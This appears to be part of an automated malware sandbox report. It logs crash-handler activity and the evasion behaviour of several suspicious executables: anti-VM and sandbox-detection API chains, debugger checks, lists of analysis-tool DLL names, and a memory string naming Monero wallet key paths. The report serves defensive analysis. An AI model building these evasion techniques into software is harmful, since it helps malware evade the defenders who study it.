Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 14.2.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cf8ae0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.HJCfr5V5_QVbJA3PPM7OVXSs.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: HJCfr5V5_QVbJA3PPM7OVXSs.exe PID: 5752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5924, type: MEMORYSTR

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_2-43671

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_2-43672

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, MSBuild.exe	Binary or memory string: DIR_WATCH.DLL
Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, MSBuild.exe	Binary or memory string: SBIEDLL.DLL
Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, MSBuild.exe	Binary or memory string: API_LOG.DLL
Source: MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL21:49:5921:49:5921:49:5921:49:5921:49:5921:49:59DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetCursorPos,GetCursorPos,Sleep,GetCursorPos,__aulldiv,Sleep,		2_2_00432300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,		14_2_0040180D

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	API coverage: 1.8 %
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	API coverage: 4.0 %
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	API coverage: 3.9 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8136

Thread sleep count: 90 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A5730B LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	1_2_00A5730B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0053FAB6 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_0053FAB6
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_0097730B LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	8_2_0097730B
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CE730B LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,FindFirstFileExW,	9_2_00CE730B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 14_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,

14_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_00401160 GetSystemInfo,

10_2_00401160

Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_d1bc91bd44a0.exe_a3af2ca23be4db44f6b6c8eec231fd10faccfa_f50e69e1_21fd06de-c9b0-4a73-b6c1-7188d06561c7\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_HJCfr5V5_QVbJA3P_31b8ce65439a50121b23b84153588960845d6bec_80088be2_0f33ec71-5ede-4370-9161-b99e6456e971\	Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 0000000E.00000002.1726961026.0000000001629000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP_f
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000116E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.0000000001127000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.1913695959.00000000015B0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.1913695959.0000000001594000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.1913695959.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.1726961026.0000000001657000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 0000000E.00000002.1726961026.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node			graph_14-21862
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node			graph_14-21878

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe

Code function: 1_2_00A57836 LdrInitializeThunk,

1_2_00A57836

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe

Code function: 1_2_00A4B596 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00A4B596

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

10_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

10_2_0041C03D

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A57E98 mov eax, dword ptr fs:[00000030h]	1_2_00A57E98
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A4EE4C mov ecx, dword ptr fs:[00000030h]	1_2_00A4EE4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00432300 mov eax, dword ptr fs:[00000030h]	2_2_00432300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00432300 mov eax, dword ptr fs:[00000030h]	2_2_00432300
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00962094 mov edi, dword ptr fs:[00000030h]	8_2_00962094
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_009A1630 mov eax, dword ptr fs:[00000030h]	8_2_009A1630
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00977E98 mov eax, dword ptr fs:[00000030h]	8_2_00977E98
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_0096EE4C mov ecx, dword ptr fs:[00000030h]	8_2_0096EE4C
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CD2094 mov edi, dword ptr fs:[00000030h]	9_2_00CD2094
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CF938D mov eax, dword ptr fs:[00000030h]	9_2_00CF938D
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CF9382 mov eax, dword ptr fs:[00000030h]	9_2_00CF9382
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CF936A mov eax, dword ptr fs:[00000030h]	9_2_00CF936A
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00D1058A mov eax, dword ptr fs:[00000030h]	9_2_00D1058A
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CE7E98 mov eax, dword ptr fs:[00000030h]	9_2_00CE7E98
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CDEE4C mov ecx, dword ptr fs:[00000030h]	9_2_00CDEE4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_00419750 mov eax, dword ptr fs:[00000030h]	10_2_00419750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_004014AD mov eax, dword ptr fs:[00000030h]	14_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0040148A mov eax, dword ptr fs:[00000030h]	14_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_004014A2 mov eax, dword ptr fs:[00000030h]	14_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_004186AA mov eax, dword ptr fs:[00000030h]	14_2_004186AA

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe

Code function: 1_2_00A5A497 GetProcessHeap,

1_2_00A5A497

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A47451 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00A47451
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A4B596 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00A4B596
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A47775 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00A47775
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: 1_2_00A47902 SetUnhandledExceptionFilter,	1_2_00A47902
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0053EBD5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0053EBD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00552E40 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00552E40
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00967450 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00967450
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_0096B596 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0096B596
